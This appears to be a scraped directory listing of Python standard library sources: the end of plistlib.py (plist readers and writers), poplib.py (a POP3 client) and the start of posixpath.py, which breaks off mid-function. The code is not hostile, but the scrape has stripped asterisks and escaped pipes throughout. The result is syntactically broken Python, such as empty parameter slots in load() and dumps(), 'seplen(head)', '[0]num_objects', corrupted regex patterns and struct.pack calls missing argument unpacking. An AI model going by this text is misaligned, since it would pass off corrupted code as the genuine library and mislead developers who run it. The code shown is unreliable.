self.add_object(Data.fromBase64(self.get_data())) def end_date(self): self.add_object(_date_from_string(self.get_data())) class _DumbXMLWriter: def __init__(self, file, indent_level=0, indent="\t"): self.file = file self.stack = [] self._indent_level = indent_level self.indent = indent def begin_element(self, element): self.stack.append(element) self.writeln("<%s>" % element) self._indent_level += 1 def end_element(self, element): assert self._indent_level > 0 assert self.stack.pop() == element self._indent_level -= 1 self.writeln("</%s>" % element) def simple_element(self, element, value=None): if value is not None: value = _escape(value) self.writeln("<%s>%s</%s>" % (element, value, element)) else: self.writeln("<%s/>" % element) def writeln(self, line): if line: # plist has fixed encoding of utf-8 # XXX: is this test needed? if isinstance(line, str): line = line.encode('utf-8') self.file.write(self._indent_level * self.indent) self.file.write(line) self.file.write(b'\n') class _PlistWriter(_DumbXMLWriter): def __init__( self, file, indent_level=0, indent=b"\t", writeHeader=1, sort_keys=True, skipkeys=False): if writeHeader: file.write(PLISTHEADER) _DumbXMLWriter.__init__(self, file, indent_level, indent) self._sort_keys = sort_keys self._skipkeys = skipkeys def write(self, value): self.writeln("<plist version=\"1.0\">") self.write_value(value) self.writeln("</plist>") def write_value(self, value): if isinstance(value, str): self.simple_element("string", value) elif value is True: self.simple_element("true") elif value is False: self.simple_element("false") elif isinstance(value, int): if -1 << 63 <= value < 1 << 64: self.simple_element("integer", "%d" % value) else: raise OverflowError(value) elif isinstance(value, float): self.simple_element("real", repr(value)) elif isinstance(value, dict): self.write_dict(value) elif isinstance(value, Data): self.write_data(value) elif isinstance(value, (bytes, bytearray)): self.write_bytes(value) elif isinstance(value, datetime.datetime): self.simple_element("date", _date_to_string(value)) elif isinstance(value, (tuple, list)): self.write_array(value) else: raise TypeError("unsupported type: %s" % type(value)) def write_data(self, data): self.write_bytes(data.data) def write_bytes(self, data): self.begin_element("data") self._indent_level -= 1 maxlinelength = max( 16, 76 - len(self.indent.replace(b"\t", b" " * 8) * self._indent_level)) for line in _encode_base64(data, maxlinelength).split(b"\n"): if line: self.writeln(line) self._indent_level += 1 self.end_element("data") def write_dict(self, d): if d: self.begin_element("dict") if self._sort_keys: items = sorted(d.items()) else: items = d.items() for key, value in items: if not isinstance(key, str): if self._skipkeys: continue raise TypeError("keys must be strings") self.simple_element("key", key) self.write_value(value) self.end_element("dict") else: self.simple_element("dict") def write_array(self, array): if array: self.begin_element("array") for value in array: self.write_value(value) self.end_element("array") else: self.simple_element("array") def _is_fmt_xml(header): prefixes = (b'<?xml', b'<plist') for pfx in prefixes: if header.startswith(pfx): return True # Also check for alternative XML encodings, this is slightly # overkill because the Apple tools (and plistlib) will not # generate files with these encodings. for bom, encoding in ( (codecs.BOM_UTF8, "utf-8"), (codecs.BOM_UTF16_BE, "utf-16-be"), (codecs.BOM_UTF16_LE, "utf-16-le"), # expat does not support utf-32 #(codecs.BOM_UTF32_BE, "utf-32-be"), #(codecs.BOM_UTF32_LE, "utf-32-le"), ): if not header.startswith(bom): continue for start in prefixes: prefix = bom + start.decode('ascii').encode(encoding) if header[:len(prefix)] == prefix: return True return False # # Binary Plist # class InvalidFileException (ValueError): def __init__(self, message="Invalid file"): ValueError.__init__(self, message) _BINARY_FORMAT = {1: 'B', 2: 'H', 4: 'L', 8: 'Q'} _undefined = object() class _BinaryPlistParser: """ Read or write a binary plist file, following the description of the binary format. Raise InvalidFileException in case of error, otherwise return the root object. see also: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c """ def __init__(self, use_builtin_types, dict_type): self._use_builtin_types = use_builtin_types self._dict_type = dict_type def parse(self, fp): try: # The basic file format: # HEADER # object... # refid->offset... # TRAILER self._fp = fp self._fp.seek(-32, os.SEEK_END) trailer = self._fp.read(32) if len(trailer) != 32: raise InvalidFileException() ( offset_size, self._ref_size, num_objects, top_object, offset_table_offset ) = struct.unpack('>6xBBQQQ', trailer) self._fp.seek(offset_table_offset) self._object_offsets = self._read_ints(num_objects, offset_size) self._objects = [_undefined] * num_objects return self._read_object(top_object) except (OSError, IndexError, struct.error, OverflowError, ValueError): raise InvalidFileException() def _get_size(self, tokenL): """ return the size of the next object.""" if tokenL == 0xF: m = self._fp.read(1)[0] & 0x3 s = 1 << m f = '>' + _BINARY_FORMAT[s] return struct.unpack(f, self._fp.read(s))[0] return tokenL def _read_ints(self, n, size): data = self._fp.read(size * n) if size in _BINARY_FORMAT: return struct.unpack(f'>{n}{_BINARY_FORMAT[size]}', data) else: if not size or len(data) != size * n: raise InvalidFileException() return tuple(int.from_bytes(data[i: i + size], 'big') for i in range(0, size * n, size)) def _read_refs(self, n): return self._read_ints(n, self._ref_size) def _read_object(self, ref): """ read the object by reference. May recursively read sub-objects (content of an array/dict/set) """ result = self._objects[ref] if result is not _undefined: return result offset = self._object_offsets[ref] self._fp.seek(offset) token = self._fp.read(1)[0] tokenH, tokenL = token & 0xF0, token & 0x0F if token == 0x00: result = None elif token == 0x08: result = False elif token == 0x09: result = True # The referenced source code also mentions URL (0x0c, 0x0d) and # UUID (0x0e), but neither can be generated using the Cocoa libraries. elif token == 0x0f: result = b'' elif tokenH == 0x10: # int result = int.from_bytes(self._fp.read(1 << tokenL), 'big', signed=tokenL >= 3) elif token == 0x22: # real result = struct.unpack('>f', self._fp.read(4))[0] elif token == 0x23: # real result = struct.unpack('>d', self._fp.read(8))[0] elif token == 0x33: # date f = struct.unpack('>d', self._fp.read(8))[0] # timestamp 0 of binary plists corresponds to 1/1/2001 # (year of Mac OS X 10.0), instead of 1/1/1970. result = (datetime.datetime(2001, 1, 1) + datetime.timedelta(seconds=f)) elif tokenH == 0x40: # data s = self._get_size(tokenL) result = self._fp.read(s) if len(result) != s: raise InvalidFileException() if not self._use_builtin_types: result = Data(result) elif tokenH == 0x50: # ascii string s = self._get_size(tokenL) data = self._fp.read(s) if len(data) != s: raise InvalidFileException() result = data.decode('ascii') elif tokenH == 0x60: # unicode string s = self._get_size(tokenL) * 2 data = self._fp.read(s) if len(data) != s: raise InvalidFileException() result = data.decode('utf-16be') # tokenH == 0x80 is documented as 'UID' and appears to be used for # keyed-archiving, not in plists. elif tokenH == 0xA0: # array s = self._get_size(tokenL) obj_refs = self._read_refs(s) result = [] self._objects[ref] = result result.extend(self._read_object(x) for x in obj_refs) # tokenH == 0xB0 is documented as 'ordset', but is not actually # implemented in the Apple reference code. # tokenH == 0xC0 is documented as 'set', but sets cannot be used in # plists. elif tokenH == 0xD0: # dict s = self._get_size(tokenL) key_refs = self._read_refs(s) obj_refs = self._read_refs(s) result = self._dict_type() self._objects[ref] = result try: for k, o in zip(key_refs, obj_refs): result[self._read_object(k)] = self._read_object(o) except TypeError: raise InvalidFileException() else: raise InvalidFileException() self._objects[ref] = result return result def _count_to_size(count): if count < 1 << 8: return 1 elif count < 1 << 16: return 2 elif count << 1 << 32: return 4 else: return 8 _scalars = (str, int, float, datetime.datetime, bytes) class _BinaryPlistWriter (object): def __init__(self, fp, sort_keys, skipkeys): self._fp = fp self._sort_keys = sort_keys self._skipkeys = skipkeys def write(self, value): # Flattened object list: self._objlist = [] # Mappings from object->objectid # First dict has (type(object), object) as the key, # second dict is used when object is not hashable and # has id(object) as the key. self._objtable = {} self._objidtable = {} # Create list of all objects in the plist self._flatten(value) # Size of object references in serialized containers # depends on the number of objects in the plist. num_objects = len(self._objlist) self._object_offsets = [0]num_objects self._ref_size = _count_to_size(num_objects) self._ref_format = _BINARY_FORMAT[self._ref_size] # Write file header self._fp.write(b'bplist00') # Write object list for obj in self._objlist: self._write_object(obj) # Write refnum->object offset table top_object = self._getrefnum(value) offset_table_offset = self._fp.tell() offset_size = _count_to_size(offset_table_offset) offset_format = '>' + _BINARY_FORMAT[offset_size] num_objects self._fp.write(struct.pack(offset_format, self._object_offsets)) # Write trailer sort_version = 0 trailer = ( sort_version, offset_size, self._ref_size, num_objects, top_object, offset_table_offset ) self._fp.write(struct.pack('>5xBBBQQQ', trailer)) def _flatten(self, value): # First check if the object is in the object table, not used for # containers to ensure that two subcontainers with the same contents # will be serialized as distinct values. if isinstance(value, _scalars): if (type(value), value) in self._objtable: return elif isinstance(value, Data): if (type(value.data), value.data) in self._objtable: return elif id(value) in self._objidtable: return # Add to objectreference map refnum = len(self._objlist) self._objlist.append(value) if isinstance(value, _scalars): self._objtable[(type(value), value)] = refnum elif isinstance(value, Data): self._objtable[(type(value.data), value.data)] = refnum else: self._objidtable[id(value)] = refnum # And finally recurse into containers if isinstance(value, dict): keys = [] values = [] items = value.items() if self._sort_keys: items = sorted(items) for k, v in items: if not isinstance(k, str): if self._skipkeys: continue raise TypeError("keys must be strings") keys.append(k) values.append(v) for o in itertools.chain(keys, values): self._flatten(o) elif isinstance(value, (list, tuple)): for o in value: self._flatten(o) def _getrefnum(self, value): if isinstance(value, _scalars): return self._objtable[(type(value), value)] elif isinstance(value, Data): return self._objtable[(type(value.data), value.data)] else: return self._objidtable[id(value)] def _write_size(self, token, size): if size < 15: self._fp.write(struct.pack('>B', token \| size)) elif size < 1 << 8: self._fp.write(struct.pack('>BBB', token \| 0xF, 0x10, size)) elif size < 1 << 16: self._fp.write(struct.pack('>BBH', token \| 0xF, 0x11, size)) elif size < 1 << 32: self._fp.write(struct.pack('>BBL', token \| 0xF, 0x12, size)) else: self._fp.write(struct.pack('>BBQ', token \| 0xF, 0x13, size)) def _write_object(self, value): ref = self._getrefnum(value) self._object_offsets[ref] = self._fp.tell() if value is None: self._fp.write(b'\x00') elif value is False: self._fp.write(b'\x08') elif value is True: self._fp.write(b'\x09') elif isinstance(value, int): if value < 0: try: self._fp.write(struct.pack('>Bq', 0x13, value)) except struct.error: raise OverflowError(value) from None elif value < 1 << 8: self._fp.write(struct.pack('>BB', 0x10, value)) elif value < 1 << 16: self._fp.write(struct.pack('>BH', 0x11, value)) elif value < 1 << 32: self._fp.write(struct.pack('>BL', 0x12, value)) elif value < 1 << 63: self._fp.write(struct.pack('>BQ', 0x13, value)) elif value < 1 << 64: self._fp.write(b'\x14' + value.to_bytes(16, 'big', signed=True)) else: raise OverflowError(value) elif isinstance(value, float): self._fp.write(struct.pack('>Bd', 0x23, value)) elif isinstance(value, datetime.datetime): f = (value - datetime.datetime(2001, 1, 1)).total_seconds() self._fp.write(struct.pack('>Bd', 0x33, f)) elif isinstance(value, Data): self._write_size(0x40, len(value.data)) self._fp.write(value.data) elif isinstance(value, (bytes, bytearray)): self._write_size(0x40, len(value)) self._fp.write(value) elif isinstance(value, str): try: t = value.encode('ascii') self._write_size(0x50, len(value)) except UnicodeEncodeError: t = value.encode('utf-16be') self._write_size(0x60, len(t) // 2) self._fp.write(t) elif isinstance(value, (list, tuple)): refs = [self._getrefnum(o) for o in value] s = len(refs) self._write_size(0xA0, s) self._fp.write(struct.pack('>' + self._ref_format * s, refs)) elif isinstance(value, dict): keyRefs, valRefs = [], [] if self._sort_keys: rootItems = sorted(value.items()) else: rootItems = value.items() for k, v in rootItems: if not isinstance(k, str): if self._skipkeys: continue raise TypeError("keys must be strings") keyRefs.append(self._getrefnum(k)) valRefs.append(self._getrefnum(v)) s = len(keyRefs) self._write_size(0xD0, s) self._fp.write(struct.pack('>' + self._ref_format s, keyRefs)) self._fp.write(struct.pack('>' + self._ref_format s, valRefs)) else: raise TypeError(value) def _is_fmt_binary(header): return header[:8] == b'bplist00' # # Generic bits # _FORMATS={ FMT_XML: dict( detect=_is_fmt_xml, parser=_PlistParser, writer=_PlistWriter, ), FMT_BINARY: dict( detect=_is_fmt_binary, parser=_BinaryPlistParser, writer=_BinaryPlistWriter, ) } def load(fp, , fmt=None, use_builtin_types=True, dict_type=dict): """Read a .plist file. 'fp' should be a readable and binary file object. Return the unpacked root object (which usually is a dictionary). """ if fmt is None: header = fp.read(32) fp.seek(0) for info in _FORMATS.values(): if info['detect'](header): P = info['parser'] break else: raise InvalidFileException() else: P = _FORMATS[fmt]['parser'] p = P(use_builtin_types=use_builtin_types, dict_type=dict_type) return p.parse(fp) def loads(value, , fmt=None, use_builtin_types=True, dict_type=dict): """Read a .plist file from a bytes object. Return the unpacked root object (which usually is a dictionary). """ fp = BytesIO(value) return load( fp, fmt=fmt, use_builtin_types=use_builtin_types, dict_type=dict_type) def dump(value, fp, , fmt=FMT_XML, sort_keys=True, skipkeys=False): """Write 'value' to a .plist file. 'fp' should be a writable, binary file object. """ if fmt not in _FORMATS: raise ValueError("Unsupported format: %r"%(fmt,)) writer = _FORMATS[fmt]["writer"](fp, sort_keys=sort_keys, skipkeys=skipkeys) writer.write(value) def dumps(value, *, fmt=FMT_XML, skipkeys=False, sort_keys=True): """Return a bytes object with the contents for a .plist file. """ fp = BytesIO() dump(value, fp, fmt=fmt, skipkeys=skipkeys, sort_keys=sort_keys) return fp.getvalue()	29.99 KB	2024-04-17 17:55
📄 poplib.py """A POP3 client class. Based on the J. Myers POP3 draft, Jan. 96 """ # Author: David Ascher <david_ascher@brown.edu> # [heavily stealing from nntplib.py] # Updated: Piers Lauder <piers@cs.su.oz.au> [Jul '97] # String method conversion and test jig improvements by ESR, February 2001. # Added the POP3_SSL class. Methods loosely based on IMAP_SSL. Hector Urtubia <urtubia@mrbook.org> Aug 2003 # Example (see the test function at the end of this file) # Imports import errno import re import socket try: import ssl HAVE_SSL = True except ImportError: HAVE_SSL = False __all__ = ["POP3","error_proto"] # Exception raised when an error or invalid response is received: class error_proto(Exception): pass # Standard Port POP3_PORT = 110 # POP SSL PORT POP3_SSL_PORT = 995 # Line terminators (we always output CRLF, but accept any of CRLF, LFCR, LF) CR = b'\r' LF = b'\n' CRLF = CR+LF # maximal line length when calling readline(). This is to prevent # reading arbitrary length lines. RFC 1939 limits POP3 line length to # 512 characters, including CRLF. We have selected 2048 just to be on # the safe side. _MAXLINE = 2048 class POP3: """This class supports both the minimal and optional command sets. Arguments can be strings or integers (where appropriate) (e.g.: retr(1) and retr('1') both work equally well. Minimal Command Set: USER name user(name) PASS string pass_(string) STAT stat() LIST [msg] list(msg = None) RETR msg retr(msg) DELE msg dele(msg) NOOP noop() RSET rset() QUIT quit() Optional Commands (some servers support these): RPOP name rpop(name) APOP name digest apop(name, digest) TOP msg n top(msg, n) UIDL [msg] uidl(msg = None) CAPA capa() STLS stls() UTF8 utf8() Raises one exception: 'error_proto'. Instantiate with: POP3(hostname, port=110) NB: the POP protocol locks the mailbox from user authorization until QUIT, so be sure to get in, suck the messages, and quit, each time you access the mailbox. POP is a line-based protocol, which means large mail messages consume lots of python cycles reading them line-by-line. If it's available on your mail server, use IMAP4 instead, it doesn't suffer from the two problems above. """ encoding = 'UTF-8' def __init__(self, host, port=POP3_PORT, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): self.host = host self.port = port self._tls_established = False self.sock = self._create_socket(timeout) self.file = self.sock.makefile('rb') self._debugging = 0 self.welcome = self._getresp() def _create_socket(self, timeout): return socket.create_connection((self.host, self.port), timeout) def _putline(self, line): if self._debugging > 1: print('put', repr(line)) self.sock.sendall(line + CRLF) # Internal: send one command to the server (through _putline()) def _putcmd(self, line): if self._debugging: print('cmd', repr(line)) line = bytes(line, self.encoding) self._putline(line) # Internal: return one line from the server, stripping CRLF. # This is where all the CPU time of this module is consumed. # Raise error_proto('-ERR EOF') if the connection is closed. def _getline(self): line = self.file.readline(_MAXLINE + 1) if len(line) > _MAXLINE: raise error_proto('line too long') if self._debugging > 1: print('get', repr(line)) if not line: raise error_proto('-ERR EOF') octets = len(line) # server can send any combination of CR & LF # however, 'readline()' returns lines ending in LF # so only possibilities are ...LF, ...CRLF, CR...LF if line[-2:] == CRLF: return line[:-2], octets if line[:1] == CR: return line[1:-1], octets return line[:-1], octets # Internal: get a response from the server. # Raise 'error_proto' if the response doesn't start with '+'. def _getresp(self): resp, o = self._getline() if self._debugging > 1: print('resp', repr(resp)) if not resp.startswith(b'+'): raise error_proto(resp) return resp # Internal: get a response plus following text from the server. def _getlongresp(self): resp = self._getresp() list = []; octets = 0 line, o = self._getline() while line != b'.': if line.startswith(b'..'): o = o-1 line = line[1:] octets = octets + o list.append(line) line, o = self._getline() return resp, list, octets # Internal: send a command and get the response def _shortcmd(self, line): self._putcmd(line) return self._getresp() # Internal: send a command and get the response plus following text def _longcmd(self, line): self._putcmd(line) return self._getlongresp() # These can be useful: def getwelcome(self): return self.welcome def set_debuglevel(self, level): self._debugging = level # Here are all the POP commands: def user(self, user): """Send user name, return response (should indicate password required). """ return self._shortcmd('USER %s' % user) def pass_(self, pswd): """Send password, return response (response includes message count, mailbox size). NB: mailbox is locked by server from here to 'quit()' """ return self._shortcmd('PASS %s' % pswd) def stat(self): """Get mailbox status. Result is tuple of 2 ints (message count, mailbox size) """ retval = self._shortcmd('STAT') rets = retval.split() if self._debugging: print('stat', repr(rets)) numMessages = int(rets[1]) sizeMessages = int(rets[2]) return (numMessages, sizeMessages) def list(self, which=None): """Request listing, return result. Result without a message number argument is in form ['response', ['mesg_num octets', ...], octets]. Result when a message number argument is given is a single response: the "scan listing" for that message. """ if which is not None: return self._shortcmd('LIST %s' % which) return self._longcmd('LIST') def retr(self, which): """Retrieve whole message number 'which'. Result is in form ['response', ['line', ...], octets]. """ return self._longcmd('RETR %s' % which) def dele(self, which): """Delete message number 'which'. Result is 'response'. """ return self._shortcmd('DELE %s' % which) def noop(self): """Does nothing. One supposes the response indicates the server is alive. """ return self._shortcmd('NOOP') def rset(self): """Unmark all messages marked for deletion.""" return self._shortcmd('RSET') def quit(self): """Signoff: commit changes on server, unlock mailbox, close connection.""" resp = self._shortcmd('QUIT') self.close() return resp def close(self): """Close the connection without assuming anything about it.""" try: file = self.file self.file = None if file is not None: file.close() finally: sock = self.sock self.sock = None if sock is not None: try: sock.shutdown(socket.SHUT_RDWR) except OSError as exc: # The server might already have closed the connection. # On Windows, this may result in WSAEINVAL (error 10022): # An invalid operation was attempted. if (exc.errno != errno.ENOTCONN and getattr(exc, 'winerror', 0) != 10022): raise finally: sock.close() #__del__ = quit # optional commands: def rpop(self, user): """Not sure what this does.""" return self._shortcmd('RPOP %s' % user) timestamp = re.compile(br'\+OK.[^<](<.>)') def apop(self, user, password): """Authorisation - only possible if server has supplied a timestamp in initial greeting. Args: user - mailbox user; password - mailbox password. NB: mailbox is locked by server from here to 'quit()' """ secret = bytes(password, self.encoding) m = self.timestamp.match(self.welcome) if not m: raise error_proto('-ERR APOP not supported by server') import hashlib digest = m.group(1)+secret digest = hashlib.md5(digest).hexdigest() return self._shortcmd('APOP %s %s' % (user, digest)) def top(self, which, howmuch): """Retrieve message header of message number 'which' and first 'howmuch' lines of message body. Result is in form ['response', ['line', ...], octets]. """ return self._longcmd('TOP %s %s' % (which, howmuch)) def uidl(self, which=None): """Return message digest (unique id) list. If 'which', result contains unique id for that message in the form 'response mesgnum uid', otherwise result is the list ['response', ['mesgnum uid', ...], octets] """ if which is not None: return self._shortcmd('UIDL %s' % which) return self._longcmd('UIDL') def utf8(self): """Try to enter UTF-8 mode (see RFC 6856). Returns server response. """ return self._shortcmd('UTF8') def capa(self): """Return server capabilities (RFC 2449) as a dictionary >>> c=poplib.POP3('localhost') >>> c.capa() {'IMPLEMENTATION': ['Cyrus', 'POP3', 'server', 'v2.2.12'], 'TOP': [], 'LOGIN-DELAY': ['0'], 'AUTH-RESP-CODE': [], 'EXPIRE': ['NEVER'], 'USER': [], 'STLS': [], 'PIPELINING': [], 'UIDL': [], 'RESP-CODES': []} >>> Really, according to RFC 2449, the cyrus folks should avoid having the implementation split into multiple arguments... """ def _parsecap(line): lst = line.decode('ascii').split() return lst[0], lst[1:] caps = {} try: resp = self._longcmd('CAPA') rawcaps = resp[1] for capline in rawcaps: capnm, capargs = _parsecap(capline) caps[capnm] = capargs except error_proto as _err: raise error_proto('-ERR CAPA not supported by server') return caps def stls(self, context=None): """Start a TLS session on the active connection as specified in RFC 2595. context - a ssl.SSLContext """ if not HAVE_SSL: raise error_proto('-ERR TLS support missing') if self._tls_established: raise error_proto('-ERR TLS session already established') caps = self.capa() if not 'STLS' in caps: raise error_proto('-ERR STLS not supported by server') if context is None: context = ssl._create_stdlib_context() resp = self._shortcmd('STLS') self.sock = context.wrap_socket(self.sock, server_hostname=self.host) self.file = self.sock.makefile('rb') self._tls_established = True return resp if HAVE_SSL: class POP3_SSL(POP3): """POP3 client class over SSL connection Instantiate with: POP3_SSL(hostname, port=995, keyfile=None, certfile=None, context=None) hostname - the hostname of the pop3 over ssl server port - port number keyfile - PEM formatted file that contains your private key certfile - PEM formatted certificate chain file context - a ssl.SSLContext See the methods of the parent class POP3 for more documentation. """ def __init__(self, host, port=POP3_SSL_PORT, keyfile=None, certfile=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, context=None): if context is not None and keyfile is not None: raise ValueError("context and keyfile arguments are mutually " "exclusive") if context is not None and certfile is not None: raise ValueError("context and certfile arguments are mutually " "exclusive") if keyfile is not None or certfile is not None: import warnings warnings.warn("keyfile and certfile are deprecated, use a " "custom context instead", DeprecationWarning, 2) self.keyfile = keyfile self.certfile = certfile if context is None: context = ssl._create_stdlib_context(certfile=certfile, keyfile=keyfile) self.context = context POP3.__init__(self, host, port, timeout) def _create_socket(self, timeout): sock = POP3._create_socket(self, timeout) sock = self.context.wrap_socket(sock, server_hostname=self.host) return sock def stls(self, keyfile=None, certfile=None, context=None): """The method unconditionally raises an exception since the STLS command doesn't make any sense on an already established SSL/TLS session. """ raise error_proto('-ERR TLS session already established') __all__.append("POP3_SSL") if __name__ == "__main__": import sys a = POP3(sys.argv[1]) print(a.getwelcome()) a.user(sys.argv[2]) a.pass_(sys.argv[3]) a.list() (numMsgs, totalSize) = a.stat() for i in range(1, numMsgs + 1): (header, msg, octets) = a.retr(i) print("Message %d:" % i) for line in msg: print(' ' + line) print('-----------------------') a.quit()	14.61 KB	2024-04-17 17:55
📄 posixpath.py """Common operations on Posix pathnames. Instead of importing this module directly, import os and refer to this module as os.path. The "os.path" name is an alias for this module on Posix systems; on other systems (e.g. Mac, Windows), os.path provides the same operations in a manner specific to that platform, and is an alias to another module (e.g. macpath, ntpath). Some of this can actually be useful on non-Posix systems too, e.g. for manipulation of the pathname component of URLs. """ # Strings representing various path-related bits and pieces. # These are primarily for export; internally, they are hardcoded. # Should be set before imports for resolving cyclic dependency. curdir = '.' pardir = '..' extsep = '.' sep = '/' pathsep = ':' defpath = '/bin:/usr/bin' altsep = None devnull = '/dev/null' import os import sys import stat import genericpath from genericpath import * __all__ = ["normcase","isabs","join","splitdrive","split","splitext", "basename","dirname","commonprefix","getsize","getmtime", "getatime","getctime","islink","exists","lexists","isdir","isfile", "ismount", "expanduser","expandvars","normpath","abspath", "samefile","sameopenfile","samestat", "curdir","pardir","sep","pathsep","defpath","altsep","extsep", "devnull","realpath","supports_unicode_filenames","relpath", "commonpath"] def _get_sep(path): if isinstance(path, bytes): return b'/' else: return '/' # Normalize the case of a pathname. Trivial in Posix, string.lower on Mac. # On MS-DOS this may also turn slashes into backslashes; however, other # normalizations (such as optimizing '../' away) are not allowed # (another function should be defined to do that). def normcase(s): """Normalize case of pathname. Has no effect under Posix""" s = os.fspath(s) if not isinstance(s, (bytes, str)): raise TypeError("normcase() argument must be str or bytes, " "not '{}'".format(s.__class__.__name__)) return s # Return whether a path is absolute. # Trivial in Posix, harder on the Mac or MS-DOS. def isabs(s): """Test whether a path is absolute""" s = os.fspath(s) sep = _get_sep(s) return s.startswith(sep) # Join pathnames. # Ignore the previous parts if a part is absolute. # Insert a '/' unless the first part is empty or already ends in '/'. def join(a, p): """Join two or more pathname components, inserting '/' as needed. If any component is an absolute path, all previous path components will be discarded. An empty last part will result in a path that ends with a separator.""" a = os.fspath(a) sep = _get_sep(a) path = a try: if not p: path[:0] + sep #23780: Ensure compatible data type even if p is null. for b in map(os.fspath, p): if b.startswith(sep): path = b elif not path or path.endswith(sep): path += b else: path += sep + b except (TypeError, AttributeError, BytesWarning): genericpath._check_arg_types('join', a, p) raise return path # Split a path in head (everything up to the last '/') and tail (the # rest). If the path ends in '/', tail will be empty. If there is no # '/' in the path, head will be empty. # Trailing '/'es are stripped from head unless it is the root. def split(p): """Split a pathname. Returns tuple "(head, tail)" where "tail" is everything after the final slash. Either part may be empty.""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 head, tail = p[:i], p[i:] if head and head != seplen(head): head = head.rstrip(sep) return head, tail # Split a path in root and extension. # The extension is everything starting at the last dot in the last # pathname component; the root is everything before that. # It is always true that root + ext == p. def splitext(p): p = os.fspath(p) if isinstance(p, bytes): sep = b'/' extsep = b'.' else: sep = '/' extsep = '.' return genericpath._splitext(p, sep, None, extsep) splitext.__doc__ = genericpath._splitext.__doc__ # Split a pathname into a drive specification and the rest of the # path. Useful on DOS/Windows/NT; on Unix, the drive is always empty. def splitdrive(p): """Split a pathname into drive and path. On Posix, drive is always empty.""" p = os.fspath(p) return p[:0], p # Return the tail (basename) part of a path, same as split(path)[1]. def basename(p): """Returns the final component of a pathname""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 return p[i:] # Return the head (dirname) part of a path, same as split(path)[0]. def dirname(p): """Returns the directory component of a pathname""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 head = p[:i] if head and head != seplen(head): head = head.rstrip(sep) return head # Is a path a symbolic link? # This will always return false on systems where os.lstat doesn't exist. def islink(path): """Test whether a path is a symbolic link""" try: st = os.lstat(path) except (OSError, AttributeError): return False return stat.S_ISLNK(st.st_mode) # Being true for dangling symbolic links is also useful. def lexists(path): """Test whether a path exists. Returns True for broken symbolic links""" try: os.lstat(path) except OSError: return False return True # Is a path a mount point? # (Does this work for all UNIXes? Is it even guaranteed to work by Posix?) def ismount(path): """Test whether a path is a mount point""" try: s1 = os.lstat(path) except OSError: # It doesn't exist -- so not a mount point. :-) return False else: # A symlink can never be a mount point if stat.S_ISLNK(s1.st_mode): return False if isinstance(path, bytes): parent = join(path, b'..') else: parent = join(path, '..') parent = realpath(parent) try: s2 = os.lstat(parent) except OSError: return False dev1 = s1.st_dev dev2 = s2.st_dev if dev1 != dev2: return True # path/.. on a different device as path ino1 = s1.st_ino ino2 = s2.st_ino if ino1 == ino2: return True # path/.. is the same i-node as path return False # Expand paths beginning with '~' or '~user'. # '~' means $HOME; '~user' means that user's home directory. # If the path doesn't begin with '~', or if the user or $HOME is unknown, # the path is returned unchanged (leaving error reporting to whatever # function is called with the expanded path as argument). # See also module 'glob' for expansion of , ? and [...] in pathnames. # (A function should also be defined to do full sh-style environment # variable expansion.) def expanduser(path): """Expand ~ and ~user constructions. If user or $HOME is unknown, do nothing.""" path = os.fspath(path) if isinstance(path, bytes): tilde = b'~' else: tilde = '~' if not path.startswith(tilde): return path sep = _get_sep(path) i = path.find(sep, 1) if i < 0: i = len(path) if i == 1: if 'HOME' not in os.environ: import pwd try: userhome = pwd.getpwuid(os.getuid()).pw_dir except KeyError: # bpo-10496: if the current user identifier doesn't exist in the # password database, return the path unchanged return path else: userhome = os.environ['HOME'] else: import pwd name = path[1:i] if isinstance(name, bytes): name = str(name, 'ASCII') try: pwent = pwd.getpwnam(name) except KeyError: # bpo-10496: if the user name from the path doesn't exist in the # password database, return the path unchanged return path userhome = pwent.pw_dir if isinstance(path, bytes): userhome = os.fsencode(userhome) root = b'/' else: root = '/' userhome = userhome.rstrip(root) return (userhome + path[i:]) or root # Expand paths containing shell variable substitutions. # This expands the forms $variable and ${variable} only. # Non-existent variables are left unchanged. _varprog = None _varprogb = None def expandvars(path): """Expand shell variables of form $var and ${var}. Unknown variables are left unchanged.""" path = os.fspath(path) global _varprog, _varprogb if isinstance(path, bytes): if b'$' not in path: return path if not _varprogb: import re _varprogb = re.compile(br'\$(\w+\|\{[^}]\})', re.ASCII) search = _varprogb.search start = b'{' end = b'}' environ = getattr(os, 'environb', None) else: if '$' not in path: return path if not _varprog: import re _varprog = re.compile(r'\$(\w+\|\{[^}]\})', re.ASCII) search = _varprog.search start = '{' end = '}' environ = os.environ i = 0 while True: m = search(path, i) if not m: break i, j = m.span(0) name = m.group(1) if name.startswith(start) and name.endswith(end): name = name[1:-1] try: if environ is None: value = os.fsencode(os.environ[os.fsdecode(name)]) else: value = environ[name] except KeyError: i = j else: tail = path[j:] path = path[:i] + value i = len(path) path += tail return path # Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A/B. # It should be understood that this may change the meaning of the path # if it contains symbolic links! def normpath(path): """Normalize path, eliminating double slashes, etc.""" path = os.fspath(path) if isinstance(path, bytes): sep = b'/' empty = b'' dot = b'.' dotdot = b'..' else: sep = '/' empty = '' dot = '.' dotdot = '..' if path == empty: return dot initial_slashes = path.startswith(sep) # POSIX allows one or two initial slashes, but treats three or more # as single slash. if (initial_slashes and path.startswith(sep2) and not path.startswith(sep3)): initial_slashes = 2 comps = path.split(sep) new_comps = [] for comp in comps: if comp in (empty, dot): continue if (comp != dotdot or (not initial_slashes and not new_comps) or (new_comps and new_comps[-1] == dotdot)): new_comps.append(comp) elif new_comps: new_comps.pop() comps = new_comps path = sep.join(comps) if initial_slashes: path = sepinitial_slashes + path return path or dot def abspath(path): """Return an absolute path.""" path = os.fspath(path) if not isabs(path): if isinstance(path, bytes): cwd = os.getcwdb() else: cwd = os.getcwd() path = join(cwd, path) return normpath(path) # Return a canonical path (i.e. the absolute location of a file on the # filesystem). def realpath(filename): """Return the canonical path of the specified filename, eliminating any symbolic links encountered in the path.""" filename = os.fspath(filename) path, ok = _joinrealpath(filename[:0], filename, {}) return abspath(path) # Join two paths, normalizing and eliminating any symbolic links # encountered in the second path. def _joinrealpath(path, rest, seen): if isinstance(path, bytes): sep = b'/' curdir = b'.' pardir = b'..' else: sep = '/' curdir = '.' pardir = '..' if isabs(rest): rest = rest[1:] path = sep while rest: name, _, rest = rest.partition(sep) if not name or name == curdir: # current dir 